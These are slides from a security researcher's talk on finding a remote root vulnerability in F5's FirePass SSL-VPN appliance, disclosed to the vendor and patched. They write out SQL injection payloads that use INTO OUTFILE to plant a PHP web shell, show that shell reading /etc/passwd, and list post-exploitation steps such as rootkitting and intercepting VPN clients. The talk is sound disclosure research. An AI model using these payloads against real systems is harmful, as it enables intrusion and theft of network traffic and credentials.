

Virtually Secure

a journey from analysis to remote root 0day
on an industry leading SSL-VPN appliance



Who am I ?

Tal Zeltzer

Independent security researcher from Israel

- Reverse engineering (mostly embedded systems)
- C/C++ And Python development
- Zerodays (Adobe Flash, PcAnywhere, EMC Networker, Windows Briefcase,...)
- No formal education

The research

- We were interested in exploiting an old vulnerability on an F5 product called FirePass.
- Overview (Taken from F5.com):

The FirePass® SSL VPN appliance and Virtual Edition (VE) provide secure remote access to enterprise applications and data for users over any device or network. FirePass ensures easy access to applications by delivering outstanding performance, scalability, availability, policy management, and endpoint security. The result is unified security enforcement and access control that increases the agility and productivity of your workforce.

Virtual “Private” Network



“PRIVATE”




Note

F5 stated that a new SSL-VPN appliance is available and the FirePass SSL-VPN appliance is supported for legacy purposes.

Note

Combined net worth of 3 companies running this product is **177 billion dollars**



Advantages of using a virtual appliance vs a normal appliance


- Runs on x86/x64.
- Kernel debugging.
- Software encryption.

Disadvantages of using a virtual appliance vs a normal appliance

- Incorrect analysis.
- Different internal implementation.
- Maintenance issues.
- Can't develop memory corruption exploits.

Downloading the vulnerable version


- Download ✓
- Boot ✓
- Activate ✗



0day research

- We can't work with the vulnerable version.
- We can only try and find 0days now...

CHALLENGE ACCEPTED



Attack surface (Black box)

- Open ports: http, https, ssh.
- Mostly PHP based.
- This will be our main attack vector for now.

Getting a debug-shell

- Extract PHP files.
- Examine configuration.
- Other attack vectors?


The “debugStub” feature

- Remote kernel debugging.
- Use GDB to kernel debug.
- Unknown kernel version.

Mounting the drive in a different OS

- Boot partition.
- Hard drive encryption.
- Losetup, GPG, rootkey.gpg.
- Unable to mount the encrypted drives.

The boot partition



Interacting with the boot process

- Replaced **losetup** with a busybox shell.
- Booted and got a shell!
- Broke the decryption process.

The limited shell

```
mptbase: 1 MPT adapter found, 1 installed.
Fusion MPT SCSI Host driver 2.05.16
scsi0 : ioc0: LSI53C1030, FwRev=01032920h, Ports=1, MaxQ=128, IRQ=17
blk: queue f7e93a18, I/O limit 4294967295Mb (mask 0xffffffffffffffff)
Vendor: VMware, Model: VMware Virtual S Rev: 1.0
Type: Direct-Access ANSI SCSI revision: 02
blk: queue f7e93818, I/O limit 4294967295Mb (mask 0xffffffffffffffff)
Attached scsi disk sda at scsi0, channel 0, id 0, lun 0
SCSI device sda: 62914560 512-byte hdwr sectors (32212 MB)
Partition check:
sda: sda1 sda2 sda3 sda4
pci_hotplug: PCI Hot Plug PCI Core version: 0.5
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, ICMP
IP: routing cache hash table of 8192 buckets, 64Kbytes
TCP: Hash tables configured (established 262144 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
RAMDISK: Compressed image found at block 0
Freeing initrd memory: 1k freed
UFS: Mounted root (minix filesystem).
kjournald starting. Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
loop: loaded (max 8 devices)

Encrypted file system, please supply correct password to continue
Running bash!

BusyBox v1.00 (2012.04.26-02:05+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

ash: can't access tty; job control turned off
/ # ls -l
lrwxrwxrwx    1 0      0          3 Mar  3  2010 bin -> lib
drwx-----  2 0      0      384 Mar  3  2010 dev
drwxr-xr-x   4 0      0    4096 May 23  2010 lib
lrwxrwxrwx    1 0      0        3 Mar  3  2010 lib64 -> lib
-rwx-----  1 0      0    2644 Mar  3  2010 linuxrc
drwx-----  2 0      0        64 Mar  3  2010 proc
/ # exit

EXT3-fs: unable to read superblock
EXT2-fs: unable to read superblock
MINIX-fs: unable to read superblock
iso9660_read_super: bread failed, dev=07:05, iso_blknum=16, block=32
Kernel panic: UFS: Unable to mount root fs on 07:05
```

Decrypting the file-system

- During the normal boot process we noticed a command “/lib/losetup -e ...”
- Decrypted the file-system.

```
Command "/lib/losetup -e AES128 -I 0 -K /lib/rootkey.gpg -G /lib /dev/loop5 /dev/sda3" returned error
Kernel panic: UFS: Unable to mount root fs on 01:01
```


Getting a debug shell

- Compiled a backdoor.
- Added it to “init.rd”.
- Rebooted and got a debug shell on our local appliance.



Attack Surface (White box)

- Distribution: Slackware **7.1** (June 22, **2000**)
- OpenSSL: **0.9.7d** (March 17, **2004**)
- Apache: **1.3.33** (October 29, **2004**)
- ...




Attack Surface (White box)

- Vulnerable applications.
- Known vulnerabilities.
- Unknown architecture.
- Hard to write a reliable memory corruption exploit without a test box.

Attack Surface (White box)


- Unknown apache modules.
- SSH is modified.
- Downloaded the PHP scripts.

PHP Scripts



```
D:\my.logon.php3 - Notepad++
File Edit Search View Encoding Language Settings Macro Run Plugins Window ?
my.logon.php3 my.logon.php3
1 MZ@&JpDC3n6Kwzyou.#HCAN%0DC2%ETX-FF[ACK]'=BEIFF0/fRSLEMUSTX%SIDC3gju@`bo%toBELD
2 I*MQ±«GSi5E0JCAN"20>zqX)·T□NAKDC2w!,,I'Q£Q{"(Q6$*qsDC1t%kFDC2e"QZ`bFESCR#ETBF·R-#BFI
3 IjSUS-t-»w:rw±TXu; >+~%1lx9v%kn LTdETBNSTXDC2T|±<v«RS·n□□□f<@T- [F0ETX,; "QSZ1 2~Z0lQ3
4 SOH%Q%#H
5 rEESC;m+TTP-1□²VT^<jdL#"□OQc-yQ<'OJ'^f□TBSBupETBn,W/ENOwQ0+0²wm"©WJ+gSOH□×1•Y~"vLb:V
6 π,,rYETB- uiv*©6N5NULTS0ETB0 " nDC4u2mumPZ.†.K0NAKISO;{ACKcxpK[STX...W"u
7 n·G`|OKFEMWj%4Or09-zpY8+"QqFE100"unak"QRS?nu □□□ US»- ETB,"m1ETB%r□²ESC%□Z%ff÷nvr
8 rEpT"r"»TnfUNAKEFSuBxSUB%SYN-STXIBqNUL-qSTX:VT(SOHc120FSIqDC38>ESC4M+ex]0g0J-□□i(C
9 k"m"-US%g#UA%OB0,,:LGS"KnnDC1n{□:π□□ZQ-?>SINUL,□.STX%□DC1,,w%k%1*"%nT{3'GS SUB"~□DC3/^D
10 »E1V,,QMcE1;`L;□-&%RS0BW□BS00SOH□0SOH.}E.y,}□$%TFS7-f□ENOmm9Q□ qe"&q*#□n0ACK%□i□DC1
11 q-T1%1\□□ m?#r²"□□□y:y"Q",pq-e0EN9ESC~"0SYN□8□rESC□□tqESCUS-'S"]SYN|Efff□J0trNnv□
12 ny&STX+tTG^SYNESC°<jiwquV'□□□yfb9'E>LQs'SESCf0ES-,0H'†T~□2PGS0-EMQ4='S-'BSYxudg%Ke{
13 qDC4f,yq□DC3,,+6mMnrUS:NDc2...1syQm2,-*B]kESIT,R1r02W06T'd{eM9a:6-g>%^h"BS^u\itCUSn[FS
14 %nzhSO"÷q1JESµR.±+CEOTgV>xiDC2xgDC1MDn:bq□□Dup,BEI%hV·p!'r%YRST+vnnDC3^"Q0CANC1STXc8
15 ->²DM-k)v·>wmXwn=i:πQ
16 ·*xw»I-(I6-NAKq
17 ©0jfiP$-·rSO^1I-SYN%²np"WxBS,TyV□T[□□BEI□r□-,qQs7EM·M5?200J+R'No□±,v=RSDC23](-Y\□QRS
18 EOT□nN 1Pi"yF3yVC$-Wf,ngSDC2)H"QYETBQ²>c{SYN0:B'1STX"PBRSw□SYN□·'.0+□sETXDLE%×m□Q:
19 InRSf00DC2,TKq,\N6#v+@q!nQqSot"E0D"$Ppnaip□-A:)ppl†8[□i9+tv's=_0/]v3¢YnEOT^]D0"ESC...pi
20 q0F0A0F0w0FS0YF00w0STX117k1a1L0T0ES0Y'0m:Ynn000000/f
PHP Hyperte length: 21978 lines: 150 Ln: 1 Col: 1 Sel: 0 Dos\Windows ANSI INS
```

Character distribution



PHP Scripts

- Character distribution is flat.
- No compression headers.
- Probably encrypted.

PHP Scripts

- Found several PHP code obfuscation and encryption solutions.
- Found one of them on the appliance ("IonCube").
- Found a talk by Stefan Esser that explained the situation.

Closed source PHP scripts

- This solution pre-compiles and encrypts the PHP code.
- A solution exist (Xdebug / VLD)
- Since this is an old version of “IonCube” it should work.


Xdebug / VLD

- Hard to compile.
- Dropped this angle for now; If everything fails we'll go back and try it.

Setting up the environment

- Trying to install tools.
- Installed GCC, SSH, and others.
- Enabled mysql log
- Decided to have another look at the unknown apache modules

MySQL Log


A screenshot of a PuTTY terminal window titled "192.168.1.99 - PuTTY". The window displays several lines of MySQL log output. The text is as follows:

```
ernal user mode and Signup by template mode|bol','on', 20130304033917)
      29 Query      insert into tblLogLogonDetails (logonID,logon,ldescription,lvalue,ltime) values ('1362368357513417653deb2','myusername','No master group assigned, try fallback groups|red','', 20130304033917)
      29 Query      insert into tblLogLogonDetails (logonID,logon,ldescription,lvalue,ltime) values ('1362368357513417653deb2','myusername','No groups to authenticate|red','', 20130304033917)
      29 Query      insert into tblLogLogonDetails (logonID,logon,ldescription,lvalue,ltime) values ('1362368357513417653deb2','myusername','Use of Dynamic Group Mapping or Fallback Groups may be disabled|bol','', 20130304033917)
      29 Query      insert into tblLogLogonDetails (logonID,logon,ldescription,lvalue,ltime) values ('1362368357513417653deb2','myusername','Signup by template for |red','Not allowed', 20130304033917)
```

A green cursor is visible at the end of the last line of text.

Custom apache modules

- Found a custom apache module that maps to a virtual directory

A screenshot of a PuTTY terminal window titled '192.168.1.99 - PuTTY'. The window displays Apache configuration code in a monospaced font. The code includes conditional compilation directives, module loading instructions, and virtual directory definitions. The terminal has a dark background with light-colored text. The code is as follows:

```
</IfDefine>
<IfDefine !CompatibilityMode>
LoadModule hp_web_access_module    libexec/mod_web_access.so
</IfDefine>

LoadModule st_module libexec/mod_stransport.so
AddHandler st1 sini
AddHandler std sdat
AddHandler stc scnt

LoadModule vpn_module    libexec/mod_vpn.so
<Location /tunnel>
SetHandler tunnel-handler
</Location>

<Location /myvpn>
SetHandler vpn-handler
</Location>
VpnProg /usr/bin/sudo /usr/local/uroam/sbin/firewallctl pppd

LoadModule ur_xscreen_module libexec/mod_xscreen.so
AddHandler ur-generate xurl
AddHandler ur-control xurc
```

Analyzing the virtual directory

- Immediately launched a browser and tried to access the directory.
- Got a “Invalid parameters” error.
- Found the tunnel-handler.
- Launched a disassembler

Playing with the parameters

- We already have mysql log enabled.
- While playing with the parameters we found an SQL injection vulnerability.

SQL INJECTION



WRITE INTO OUTFILE

SQL Log



When we provide **hello** as the '**sess**' parameter we get:

```
root@bt: ~  
File Edit View Terminal Help  
120523 21:16:05      38 Connect  root@localhost on dbUROAM  
                  38 Query    select logon, usergroup from tblLogSessions  
                  where lower(sid)=lower('Hello')  
                  38 Quit  
120523 21:17:01     40 Connect  root@localhost on
```

Writing into outfile


- When writing into outfile a common query looks like this:

Select logon, usergroup from tblLogSessions where lower(sid) = lower('hello') union select 'data', 'x' into outfile '/tmp/test'-- ')

```
hello' union select 'data', 'x' into outfile '/tmp/test'--
```

Trying to SQL inject

- When sending the query string “aaa%20”
We get “aaa%20” at the actual query




```
192.168.1.99 - PuTTY
22 Query      select logon, usergroup from tblLogSessions whe
re lower(sid)=lower('aaa%20')
22 Quit
130317 22:36:07 23 Connect    root@localhost on dbUROAM
23 Query      select logon, usergroup from tblLogSessions whe
re lower(sid)=lower('aaa 0x1.d4268p-892aa')
23 Quit
130317 22:37:01 25 Connect    root@localhost on
```

- Turns out that url-encoded strings are not decoded :/

Trying to SQL inject

- When sending the query string “aaa%20aaa” We get “aaa 0x1.d42...” at the actual query.




```
192.168.1.99 - PuTTY
22 Query      select logon, usergroup from tblLogSessions whe
re lower(sid)=lower('aaa%20')
22 Quit
130317 22:36:07 23 Connect    root@localhost on dbUROAM
23 Query      select logon, usergroup from tblLogSessions whe
re lower(sid)=lower('aaa 0x1.d4268p-892aa')
23 Quit
130317 22:37:01 25 Connect    root@localhost on
```

- We got a format string vulnerability at the same argument! (Disassembly confirmed)

The format string

- Just to be sure, let's send the query string
“%08x--%08x--%08x...”




A screenshot of a terminal window titled 'root@bt: ~'. The window has a menu bar with 'File', 'Edit', 'View', 'Terminal', and 'Help'. The terminal output shows a sequence of events: a timestamp '120523 21:22:33', a '54 Quit' message, a '56 Connect' message indicating a connection to 'root@localhost on dbUROAM', and a '56 Query' message showing a SQL query: 'select logon, usergroup from tblLogSessions where lower(sid)=lower('00000000--083d42f0--40d105e0--083aaec0--00000000--00000000--00000000')'. The query string is highlighted in a light blue box. The terminal also shows a '56 Quit' message at the bottom.

```
^ v x root@bt: ~
File Edit View Terminal Help
120523 21:22:33 54 Quit
56 Connect root@localhost on dbUROAM
56 Query select logon, usergroup from tblLogSessions
where lower(sid)=lower('00000000--083d42f0--40d105e0--083aaec0--00000000--00000000--00000000')
56 Quit
```

- That's nice but we already have a logical vulnerability; I want a universal exploit!

Trying to SQL inject

- Turns out that the apache module doesn't escape the url-encoded query string.
- Can't write characters such as space
- How can we write a valid query?



Trying to SQL inject

- Block comments?
- A query like “Or/**/1=1/**/)” worked!
- What about the rest of the query?
- -- doesn't seem to work without a trailing space

```
hello'/**/union/**/select/**/'data',/**/'x'/**/into/**/outfile/**/  
'/tmp/test'--
```

Trying to SQL inject

- Documentation confirmed “--” has to have a trailing space
- Format string you say? Spaces you say? What about %20d ?
- Got our valid terminator!

```
hello'/**/union/**/select/**/'data',/**/'x'/**/into/**/outfile/**/  
'/tmp/test'--%20d
```

Writing into outfile


- Composed our union select into outfile; Failed.
- But everything looks fine.



Wtf?

- Tried running the query myself; **Failed**.
- Tried a trivial union select; **Failed**.

```
root@bt: ~  
File Edit View Terminal Help  
Welcome to the MySQL monitor.  Commands end with ; or \g.  
Your MySQL connection id is 11 to server version: 3.23.54-log  
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.  
mysql>
```



Mysql 3.23

- No union selects.
- No nested queries.
- Can't do a join because we're at the while condition.
- Can write into outfile, but since there's no union we do not control the data that gets written.

```
hello'/**/or/**/  
( '1'='1')/**/into/**/outfile/**/'/tmp/test'/**/--%20d
```

The table we write into outfile

- tblLogSessions; Contains session info.
- Updated when we login successfully.
- Can't poison it because we can't login.

Really getting mad

- Read documentation.
- Read some source code.
- Asked anyone I know.
- And then!

Got it

linux - How to output My: x arrow image - Google Sea: x

← → ↻ stackoverflow.com/questions/356578/how-to-output-mysql-query-results-in-csv-format 🔍 ☆ ⛔ ⬇ ⋮

▲ From <http://www.tech-recipes.com/rx/1475/save-mysql-query-results-into-a-text-or-csv-file/>

223 ▼


✓

```
SELECT order_id,product_name,qty
FROM orders
INTO OUTFILE '/tmp/orders.csv'
FIELDS TERMINATED BY ','
ENCLOSED BY '"'
LINES TERMINATED BY '\n'
```

Arbitrary data!!

share | improve this answer

answered Dec 10 '08


 **Paul Tomblin**
67.4k ● 15 ● 1

Writing into outfile!

- Can write arbitrary data into the file.
- What about '`<?php $mycode ?>`'.

```
hello'/**/or/**/('1'='1')/**/into/**/outfile/**/'/tmp/test'/**/  
fields/**/seperated/**/by/**/0x603c3f706870...3f3e  
/**/--%20d
```

Pwned!



The screenshot shows a web browser window with the address bar displaying `https://192.168.1.99/cmd.php?c=cat%20/etc/passwd`. The page content shows the output of the `cat /etc/passwd` command, listing system and user accounts. The `admin` user entry is highlighted in blue.

```
admin:root:x:0:0:/root/bin/bash bin:x:1:1/bin/bin daemon:x:2:2:daemon/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync/sbin/bin/sync shutdown:x:6:0:shutdown/sbin/sbin/shutdown halt:x:7:0:halt/sbin/sbin/halt
mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator/root/bin/bash games:x:12:100:games/usr/games: ftp:x:14:1:/home/ftp/bin/bash
gdm:x:42:42:GDM:/var/state/gdm/bin/bash nobody:x:99:99:nobody/: uroam:x:666:100:,,,:/home/uroam/bin/bash
maintenance::667:100:,,,:/home/maintenance:/home/maintenance/Dialog.sh sshd:x:33:33:sshd/: sshd:x:33:33:sshd:/Default
```

Minor down-side

- This attack will only work if a user or an administrator has ever logged in to the server
- I'm guessing it's not much to ask in a production environment (Initial server configuration applies as a login)

Got root ?

- Rootkit the appliance.
- Sniff traffic. (tcpdump is available)
- Man-in-the-middle VPN clients
- Extract certificates
- Create our own user and join the network

Attacking VPN Clients


- Replace existing PHP scripts (can't edit them..)
- If ActiveX installation fails we get a “please download and install this client” message.
- New client anyone?

F5 – Vulnerability response win

- From all my vulnerability disclosures F5 impressed me the most.
- Their response was quick and professional.
- The patch came soon after.
- F5 wants to work with all researchers.
Contact them at security-reporting@F5.com.

Live Demo

I'm wrong!



Stefan Viehböck

@sviehb

@talzeltzer I will check with my employer if I can release the code for PHP decryption. It's easier than you think :)

← Reply ↻ Retweet ★ Favorite ... More

7:20 AM - 10 Apr 13

I'm wrong!



Tal zeltzer

@talzeltzer

@sviehb il go do some reversing when.I get back :)

← Reply ↺ Retweet ★ Favorite ●●● More

9:57 AM - 10 Apr 13

The real PHP encryption

- Turns out the “IonCube” module is just for PHP acceleration.
- The encryption is RC4 implemented at the PHP “lexer” level.

Long story short



```
F:\Talk2nd\php\scripts\dec_firepass\firepass\my\my.logon.php3 - Notepad++
File Edit Search View Encoding Language Settings Macro Run Plugins Window ?
songs.txt my.logon.php3
1 <?
2 /**
3  * $Id: my.logon.php3,v 1.151 2010-03-02 01:49:36 charapaev Exp $
4  *
5  * State is described by:
6  *   cookie MRHSession which can be either
7  *   absent, (in this case we set this cookie)
8  *   correspond to no record in tblSessions (do nothing)
9  *   correspond to an up-to-date record in tblSessions (user is already logged!)
10  *   correspond to an expired record in tblSessions (delete this session, reset
11  *   $mrhlogonform is set when attempt to logon failed
12  */
13
14  unset($strMsg); // no more unobfuscated stuff
15
16  // CR65744 if there is logout and customized logout.inc is exist, we show it before
17  if (isset($logout) && $logout == 1) {
18      if(isset($HTTP_COOKIE_VARS["VHOST"]) &&
19          "standard" != $HTTP_COOKIE_VARS["VHOST"] &&
```

PHP Hy length: 21958 lines: 651 Ln:1 Col:1 Sel:0 UNIX ANSI INS

Thanks to the EFF

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FAITH IN HUMANITY



RESTORED

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Questions?